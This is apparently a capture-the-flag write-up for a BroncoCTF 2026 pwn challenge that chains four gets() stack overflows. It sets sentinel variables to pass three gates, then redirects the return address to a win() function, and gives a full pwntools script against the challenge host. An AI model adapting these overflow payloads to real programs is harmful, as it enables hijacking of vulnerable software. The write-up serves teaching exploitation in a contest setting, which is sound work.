$ cat writeup.md…
$ cat writeup.md…
broncoctf2026
Task: tutorial pwn with 4 stages, each reading via unbounded gets() into a stack buffer guarded by volatile sentinels. Solution: overwrite adjacent local sentinels to pass gates 1-3 (preserving a second sentinel at exactly 41), then classic ret2win in the treasure room using disassembly-derived physical offsets rather than source declaration order.
Have you read the Pwntorial? Ready to graduate from baby pwns? This should do it. Three gates and a treasure room await your input.
A tutorial-style stack overflow chain. main() calls four functions in sequence:
gate1 -> gate2 -> gate3 -> treasure_room. Each reads input with unbounded
gets() into a stack buffer, and each gate checks one or two "sentinel" local
variables that we must corrupt to specific values. The final treasure_room is
a straightforward ret2win.
Remote: nc 0.cloud.chals.io 21543
ELF 64-bit x86-64, dynamically linked, not stripped
No PIE (base 0x400000)
No stack canary
Executable stack (-z execstack), NX off, RWX segments
Partial RELRO
Ubuntu 22.04, glibc 2.34
gcc proper.c -o proper -fno-stack-protector -z execstack -no-pie
win() at 0x40123b prints a message, runs system("/bin/cat flag.txt"), then
exit(0). No PIE and no canary make this pure offset arithmetic.
The source declaration order of locals is not the physical stack layout. GCC
reorders locals, so the offset from the buffer to each sentinel must be read from
the disassembly (objdump -d / gdb), not guessed from the C source. Every
gate offset below was derived from the actual rbp-0x... references.
int buffer[64]; volatile int gate = CLOSED; // 0 gets(buffer); // require gate != 0
Disassembly: buffer at rbp-0x110, gate at rbp-0x4.
Offset to gate = 0x110 - 0x4 = 0x10c = 268.
Payload: b"A"*268 + p32(1)
long buffer[64]; volatile int gate = CLOSED; // 0 volatile int baby_chicken = ALIVE; // 41 gets(buffer); // require baby_chicken == 41 AND gate != 0
Disassembly: buffer at rbp-0x210, baby_chicken at rbp-0x8 (offset 520),
gate at rbp-0x4 (offset 524). The overflow marches through baby_chicken, so
we must rewrite it with exactly 41 to keep it ALIVE, then set gate.
Payload: b"B"*520 + p32(41) + p32(1)
char buffer[67]; volatile int gate = CLOSED; // 0 gets(buffer); // require gate == 13371337 (0x00cc07c9) // on success prints win() address
Disassembly: buffer at rbp-0x50, gate at rbp-0x4. Offset = 0x50 - 0x4 = 0x4c = 76.
13371337 = 0x00cc07c9. The little-endian bytes are c9 07 cc 00 — the trailing
NUL byte is fine because gets() only stops on a newline, not on NUL.
Payload: b"C"*76 + p32(13371337)
char buffer[6767]; gets(buffer);
Disassembly: buffer at rbp-0x1a70, saved RIP at rbp+8.
Offset to saved RIP = 0x1a70 + 8 = 0x1a78 = 6776.
We overwrite the saved return address with win. Because glibc 2.34 uses
movaps (which faults on a misaligned stack), we prepend a bare ret gadget
(0x40123a) to realign the stack to 16 bytes before entering win. On this
image a direct win also worked, but the aligned chain is the robust,
ABI-correct approach.
Payload: b"D"*6776 + p64(0x40123a) + p64(0x40123b)
# ret gadget win
Send the four payloads sequentially with sendline (each gets() consumes one
newline-terminated line), then read the flag.
#!/usr/bin/env python3 from pwn import * context.binary = elf = ELF("./proper", checksec=False) context.arch = "amd64" HOST = args.HOST or "0.cloud.chals.io" PORT = int(args.PORT or 21543) WIN = elf.sym.win # 0x40123b RET = 0x40123a # ret gadget for 16-byte stack alignment io = remote(HOST, PORT) gate1 = b"A"*268 + p32(1) gate2 = b"B"*520 + p32(41) + p32(1) gate3 = b"C"*76 + p32(13371337) treasure = b"D"*6776 + p64(RET) + p64(WIN) for payload in (gate1, gate2, gate3, treasure): io.sendline(payload) print(io.recvall(timeout=5).decode(errors="replace"))
Per-stage payload summary:
| Stage | Buffer offset | Sentinel(s) written | Payload |
|---|---|---|---|
| gate1 | 268 | gate = 1 | A*268 + p32(1) |
| gate2 | 520 / 524 | baby_chicken = 41, gate = 1 | B*520 + p32(41) + p32(1) |
| gate3 | 76 | gate = 0x00cc07c9 | C*76 + p32(13371337) |
| treasure | 6776 | saved RIP = win (via ret) | D*6776 + p64(RET) + p64(WIN) |
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar